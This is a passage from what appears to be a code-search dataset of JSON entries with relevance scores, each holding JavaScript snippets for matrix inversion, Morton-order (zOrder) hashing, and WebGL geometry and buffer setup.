a scalar\n // (c) Add 2 rows\n\n //if the matrix isn't square: exit (error)\n if (M.length !== M[0].length) {\n return;\n }\n\n //create the identity matrix (I), and a copy (C) of the original\n var i = 0,\n ii = 0,\n j = 0,\n dim = M.length,\n e = 0,\n t = 0;\n var I = [],\n C = [];\n for (i = 0; i < dim; i += 1) {\n // Create the row\n I[I.length] = [];\n C[C.length] = [];\n for (j = 0; j < dim; j += 1) {\n //if we're on the diagonal, put a 1 (for identity)\n if (i == j) {\n I[i][j] = 1;\n } else {\n I[i][j] = 0;\n }\n\n // Also, make the copy of the original\n C[i][j] = M[i][j];\n }\n }\n\n // Perform elementary row operations\n for (i = 0; i < dim; i += 1) {\n // get the element e on the diagonal\n e = C[i][i];\n\n // if we have a 0 on the diagonal (we'll need to swap with a lower row)\n if (e == 0) {\n //look through every row below the i'th row\n for (ii = i + 1; ii < dim; ii += 1) {\n //if the ii'th row has a non-0 in the i'th col\n if (C[ii][i] != 0) {\n //it would make the diagonal have a non-0 so swap it\n for (j = 0; j < dim; j++) {\n e = C[i][j]; //temp store i'th row\n C[i][j] = C[ii][j]; //replace i'th row by ii'th\n C[ii][j] = e; //repace ii'th by temp\n e = I[i][j]; //temp store i'th row\n I[i][j] = I[ii][j]; //replace i'th row by ii'th\n I[ii][j] = e; //repace ii'th by temp\n }\n //don't bother checking other rows since we've swapped\n break;\n }\n }\n //get the new diagonal\n e = C[i][i];\n //if it's still 0, not invertable (error)\n if (e == 0) {\n return;\n }\n }\n\n // Scale this row down by e (so we have a 1 on the diagonal)\n for (j = 0; j < dim; j++) {\n C[i][j] = C[i][j] / e; //apply to original matrix\n I[i][j] = I[i][j] / e; //apply to identity\n }\n\n // Subtract this row (scaled appropriately for each row) from ALL of\n // the other rows so that there will be 0's in this column in the\n // rows above and below this one\n for (ii = 0; ii < dim; ii++) {\n // Only apply to other rows (we want a 1 on the diagonal)\n if (ii == i) {\n continue;\n }\n\n // We want to change this element to 0\n e = C[ii][i];\n\n // Subtract (the row above(or below) scaled by e) from (the\n // current row) but start at the i'th column and assume all the\n // stuff left of diagonal is 0 (which it should be if we made this\n // algorithm correctly)\n for (j = 0; j < dim; j++) {\n C[ii][j] -= e * C[i][j]; //apply to original matrix\n I[ii][j] -= e * I[i][j]; //apply to identity\n }\n }\n }\n\n //we've done all operations, C should be the identity\n //matrix I should be the inverse:\n return I;\n}", "title": "" }, { "docid": "ae2b23506ee188265a81570fb4f8cb9b", "score": "0.51790154", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n }", "title": "" }, { "docid": "ae2b23506ee188265a81570fb4f8cb9b", "score": "0.51790154", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n }", "title": "" }, { "docid": "ed88f73aa1248e6e65879469dbce3f50", "score": "0.516717", "text": "synchronizeTransform() {\r\n this.m_xf.R.set$float(this.m_sweep.a);\r\n let v1 = this.m_sweep.localCenter;\r\n this.m_xf.position.x = Math.fround(this.m_sweep.c.x - (Math.fround(Math.fround(this.m_xf.R.col1.x * v1.x) + Math.fround(this.m_xf.R.col2.x * v1.y))));\r\n this.m_xf.position.y = Math.fround(this.m_sweep.c.y - (Math.fround(Math.fround(this.m_xf.R.col1.y * v1.x) + Math.fround(this.m_xf.R.col2.y * v1.y))));\r\n }", "title": "" }, { "docid": "49d83c5e0a823294498676f1bd1193f8", "score": "0.516669", "text": "constructor(color) {\n super(color);\n\n this.vertices = new Float32Array([ // Coordinates\n 1.0, 1.0, 1.0, -1.0, 1.0, 1.0, -1.0,-1.0, 1.0, 1.0,-1.0, 1.0, // v0-v1-v2-v3 front\n 1.0, 1.0, 1.0, 1.0,-1.0, 1.0, 1.0,-1.0,-1.0, 1.0, 1.0,-1.0, // v0-v3-v4-v5 right\n 1.0, 1.0, 1.0, 1.0, 1.0,-1.0, -1.0, 1.0,-1.0, -1.0, 1.0, 1.0, // v0-v5-v6-v1 up\n -1.0, 1.0, 1.0, -1.0, 1.0,-1.0, -1.0,-1.0,-1.0, -1.0,-1.0, 1.0, // v1-v6-v7-v2 left\n -1.0,-1.0,-1.0, 1.0,-1.0,-1.0, 1.0,-1.0, 1.0, -1.0,-1.0, 1.0, // v7-v4-v3-v2 down\n 1.0,-1.0,-1.0, -1.0,-1.0,-1.0, -1.0, 1.0,-1.0, 1.0, 1.0,-1.0 // v4-v7-v6-v5 back\n ]);\n\n this.normals = new Float32Array([ // Normal\n 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, // v0-v1-v2-v3 front\n 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, // v0-v3-v4-v5 right\n 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, // v0-v5-v6-v1 up\n -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, // v1-v6-v7-v2 left\n 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, // v7-v4-v3-v2 down\n 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0 // v4-v7-v6-v5 back\n ]);\n\n // Indices of the vertices\n this.indices = new Uint16Array([\n 0, 1, 2, 0, 2, 3, // front\n 4, 5, 6, 4, 6, 7, // right\n 8, 9,10, 8,10,11, // up\n 12,13,14, 12,14,15, // left\n 16,17,18, 16,18,19, // down\n 20,21,22, 20,22,23 // back\n ]);\n }", "title": "" }, { "docid": "3c3f93e642cda86063b85542bdfaf1b2", "score": "0.5165795", "text": "function uploadInvViewMatrixToShader() {\r\n gl.uniformMatrix3fv(shaderProgram.uInvVMatrix, false, invVMatrix);\r\n}", "title": "" }, { "docid": "8d9a7dc7a934b7ebf6058c9d404d74f4", "score": "0.5163623", "text": "function draw2(){\r\n gl.viewport(0, 0, gl.viewportWidth, gl.viewportHeight);\r\n gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); \r\n mat4.identity(mvMatrix);\r\n mat4.rotateY(mvMatrix, mvMatrix, degToRad(rotAngle));\r\n // var rotateM = mat4.create();\r\n // var scaleM = mat4.create();\r\n // var scale = Math.abs(Math.cos(degToRad(rotAngle)));\r\n // mat4.fromScaling(scaleM,[0.5+0.5*scale,1.0,1.0]);\r\n // mat4.fromRotation(rotateM,degToRad(rotAngle),[0.0,0.0,1.0]);\r\n // mat4.multiply(mvMatrix,mvMatrix,rotateM);\r\n // mat4.multiply(mvMatrix,scaleM,mvMatrix);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexPositionBuffer);\r\n gl.vertexAttribPointer(shaderProgram.vertexPositionAttribute, \r\n vertexPositionBuffer.itemSize, gl.FLOAT, false, 0, 0);\r\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexColorBuffer);\r\n gl.vertexAttribPointer(shaderProgram.vertexColorAttribute, \r\n vertexColorBuffer.itemSize, gl.FLOAT, false, 0, 0);\r\n \r\n setMatrixUniforms();\r\n gl.drawArrays(gl.TRIANGLES, 0, vertexPositionBuffer.numberOfItems);\r\n}", "title": "" }, { "docid": "8463767ded788b6ad9a301ababee730c", "score": "0.5161947", "text": "function setupBuffers() {//set up the picture\r\n vertexPositionBuffer = gl.createBuffer(); //set up the buffer\r\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexPositionBuffer);\r\n var triangleVertices = [//matrix of 30 triangles consists of 90 vertices\r\n \r\n //below lists 30 triangles\r\n //the first 20 triangles is the \"I\" part\r\n -0.95, 0.95, 0.0,//1\r\n 0.95, 0.95, 0.0,\r\n -0.95, 0.63, 0.0,\r\n \r\n -0.95, 0.63, 0.0,//2\r\n 0.95, 0.95, 0.0,\r\n -0.75, 0.63, 0.0,\r\n \r\n -0.75, 0.63, 0.0,//3\r\n 0.95, 0.95, 0.0,\r\n -0.35, 0.63, 0.0,\r\n \r\n -0.35, 0.63, 0.0,//4\r\n 0.95, 0.95, 0.0,\r\n 0.35, 0.63, 0.0,\r\n \r\n 0.35, 0.63, 0.0,//5\r\n 0.95, 0.95, 0.0,\r\n 0.75, 0.63, 0.0,\r\n \r\n 0.75, 0.63, 0.0,//6\r\n 0.95, 0.95, 0.0,\r\n 0.95, 0.63, 0.0,\r\n \r\n -0.75, 0.63, 0.0,//7\r\n -0.35, 0.63, 0.0,\r\n -0.75, -0.3, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//8\r\n -0.35, 0.63, 0.0,\r\n -0.35, 0.368, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//9\r\n -0.35, 0.368, 0.0,\r\n -0.35, -0.05, 0.0,\r\n \r\n -0.35, -0.05, 0.0,//10\r\n -0.35, 0.368, 0.0,\r\n -0.2, -0.05, 0.0,\r\n \r\n -0.2, -0.05, 0.0,//11\r\n -0.35, 0.368, 0.0,\r\n -0.2, 0.368, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//12\r\n -0.35, -0.05, 0.0,\r\n -0.35, -0.3, 0.0,\r\n \r\n 0.2, -0.05, 0.0,//13\r\n 0.35, 0.368, 0.0,\r\n 0.2, 0.368, 0.0,\r\n \r\n 0.35, -0.05, 0.0,//14\r\n 0.35, 0.368, 0.0,\r\n 0.2, -0.05, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//15\r\n 0.35, 0.368, 0.0,\r\n 0.35, -0.05, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//16\r\n 0.35, 0.63, 0.0,\r\n 0.35, 0.368, 0.0,\r\n \r\n 0.75, 0.63, 0.0,//17\r\n 0.35, 0.63, 0.0,\r\n 0.75, -0.3, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//18\r\n 0.35, -0.05, 0.0,\r\n 0.35, -0.3, 0.0,\r\n \r\n //the below 10 parts is the organle part of the badge\r\n -0.75, -0.4, 0.0,//19\r\n -0.75, -0.45, 0.0,\r\n -0.6, -0.57, 0.0,\r\n \r\n -0.6, -0.57, 0.0,//20\r\n -0.75, -0.4, 0.0,\r\n -0.6, -0.4, 0.0,\r\n \r\n -0.5, -0.4, 0.0,//21\r\n -0.5, -0.67, 0.0,\r\n -0.35, -0.75, 0.0,\r\n \r\n -0.35, -0.75, 0.0,//22\r\n -0.5, -0.4, 0.0,\r\n -0.35, -0.4, 0.0,\r\n \r\n -0.2, -0.4, 0.0,//23\r\n -0.2, -0.8, 0.0,\r\n -0.05, -0.9, 0.0,\r\n \r\n -0.05, -0.9, 0.0,//24\r\n -0.2, -0.4, 0.0,\r\n -0.05, -0.4, 0.0,\r\n \r\n 0.05, -0.9, 0.0, //25\r\n 0.2, -0.4, 0.0,\r\n 0.05, -0.4, 0.0,\r\n \r\n 0.2, -0.4, 0.0,//26\r\n 0.2, -0.8, 0.0,\r\n 0.05, -0.9, 0.0,\r\n \r\n 0.35, -0.75, 0.0,//27\r\n 0.5, -0.4, 0.0, \r\n 0.35, -0.4, 0.0,\r\n \r\n 0.5, -0.4, 0.0, //28\r\n 0.5, -0.67, 0.0, \r\n 0.35, -0.75, 0.0, \r\n \r\n 0.6, -0.57, 0.0, //29\r\n 0.75, -0.4, 0.0, \r\n 0.6, -0.4, 0.0,\r\n \r\n 0.75, -0.4, 0.0, //30\r\n 0.75, -0.45, 0.0,\r\n 0.6, -0.57, 0.0,\r\n ];\r\n \r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(triangleVertices), gl.STATIC_DRAW);\r\n vertexPositionBuffer.itemSize = 3;//each vertices has size three: x,y,z\r\n vertexPositionBuffer.numberOfItems = 90;//there are 90 vertices in this buffer\r\n \r\n vertexColorBuffer = gl.createBuffer();\r\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexColorBuffer);\r\n var colors = [//set up the color vertices\r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n \r\n 0.0, 0.0, 0.7, 1.0, //blue\r\n 0.0, 0.0, 0.7, 1.0,\r\n 0.0, 0.0, 0.7, 1.0,\r\n //below are 12 organges\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n 1.0, 0.0, 0.0, 1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n \r\n 1.0, 0.0, 0.0,1.0,\r\n 1.0, 0.0,0.0, 1.0,\r\n 1.0, 0.0,0.0,1.0,\r\n ];\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);\r\n vertexColorBuffer.itemSize = 4;//the item size is 4 including R,G,B and alpha\r\n vertexColorBuffer.numItems = 90; //there are 90 color vertices\r\n}", "title": "" }, { "docid": "ddb9abb16fe33b3088a18d5147d5db5b", "score": "0.5156649", "text": "function setGeometry(gl) {\r\n var positions = new Float32Array(\r\n [\r\n -0.5, -0.5, -0.5,\r\n -0.5, 0.5, -0.5,\r\n 0.5, -0.5, -0.5,\r\n -0.5, 0.5, -0.5,\r\n 0.5, 0.5, -0.5,\r\n 0.5, -0.5, -0.5,\r\n\r\n -0.5, -0.5, 0.5,\r\n 0.5, -0.5, 0.5,\r\n -0.5, 0.5, 0.5,\r\n -0.5, 0.5, 0.5,\r\n 0.5, -0.5, 0.5,\r\n 0.5, 0.5, 0.5,\r\n\r\n -0.5, 0.5, -0.5,\r\n -0.5, 0.5, 0.5,\r\n 0.5, 0.5, -0.5,\r\n -0.5, 0.5, 0.5,\r\n 0.5, 0.5, 0.5,\r\n 0.5, 0.5, -0.5,\r\n\r\n -0.5, -0.5, -0.5,\r\n 0.5, -0.5, -0.5,\r\n -0.5, -0.5, 0.5,\r\n -0.5, -0.5, 0.5,\r\n 0.5, -0.5, -0.5,\r\n 0.5, -0.5, 0.5,\r\n\r\n -0.5, -0.5, -0.5,\r\n -0.5, -0.5, 0.5,\r\n -0.5, 0.5, -0.5,\r\n -0.5, -0.5, 0.5,\r\n -0.5, 0.5, 0.5,\r\n -0.5, 0.5, -0.5,\r\n\r\n 0.5, -0.5, -0.5,\r\n 0.5, 0.5, -0.5,\r\n 0.5, -0.5, 0.5,\r\n 0.5, -0.5, 0.5,\r\n 0.5, 0.5, -0.5,\r\n 0.5, 0.5, 0.5,\r\n\r\n ]);\r\n gl.bufferData(gl.ARRAY_BUFFER, positions, gl.STATIC_DRAW);\r\n}", "title": "" }, { "docid": "1e3f3613302ed71bfee36152db285133", "score": "0.514158", "text": "function zOrder$1( x, y, minX, minY, invSize ) {\n\n \t// coords are transformed into non-negative 15-bit integer range\n \tx = 32767 * ( x - minX ) * invSize;\n \ty = 32767 * ( y - minY ) * invSize;\n\n \tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n \tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n \tx = ( x | ( x << 2 ) ) & 0x33333333;\n \tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n \ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n \ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n \ty = ( y | ( y << 2 ) ) & 0x33333333;\n \ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n \treturn x | ( y << 1 );\n\n }", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "47a48d428043032497e882a9db207855", "score": "0.51414764", "text": "function zOrder( x, y, minX, minY, invSize ) {\n\n\t// coords are transformed into non-negative 15-bit integer range\n\tx = 32767 * ( x - minX ) * invSize;\n\ty = 32767 * ( y - minY ) * invSize;\n\n\tx = ( x | ( x << 8 ) ) & 0x00FF00FF;\n\tx = ( x | ( x << 4 ) ) & 0x0F0F0F0F;\n\tx = ( x | ( x << 2 ) ) & 0x33333333;\n\tx = ( x | ( x << 1 ) ) & 0x55555555;\n\n\ty = ( y | ( y << 8 ) ) & 0x00FF00FF;\n\ty = ( y | ( y << 4 ) ) & 0x0F0F0F0F;\n\ty = ( y | ( y << 2 ) ) & 0x33333333;\n\ty = ( y | ( y << 1 ) ) & 0x55555555;\n\n\treturn x | ( y << 1 );\n\n}", "title": "" }, { "docid": "c28e66da722f3fb8cfbda699abe32f94", "score": "0.51383257", "text": "static vectorToWorldSpace (vec, vAgentHeading, vAgentSide) {\n // make a copy of the point\n var transVec = new Vector2D(vec);\n\n // create a transformation matrix\n var matTransform = new C2DMatrix();\n\n //rotate\n matTransform.rotate(vAgentHeading, vAgentSide);\n\n //now transform the vertices\n matTransform.transformVector2Ds(transVec);\n\n return transVec;\n }", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 0x55555555;\n\n return x | (y << 1);\n}", "title": "" }, { "docid": "c3673cf5f445e4e5f9afff45634f3353", "score": "0.5137185", "text": "function zOrder(x, y, minX, minY, invSize) {\n // coords are transformed into non-negative 15-bit integer range\n x = 32767 * (x - minX) * invSize;\n y = 32767 * (y - minY) * invSize;\n\n x = (x | (x << 8)) & 0x00FF00FF;\n x = (x | (x << 4)) & 0x0F0F0F0F;\n x = (x | (x << 2)) & 0x33333333;\n x = (x | (x << 1)) & 0x55555555;\n\n y = (y | (y << 8)) & 0x00FF00FF;\n y = (y | (y << 4)) & 0x0F0F0F0F;\n y = (y | (y << 2)) & 0x33333333;\n y = (y | (y << 1)) & 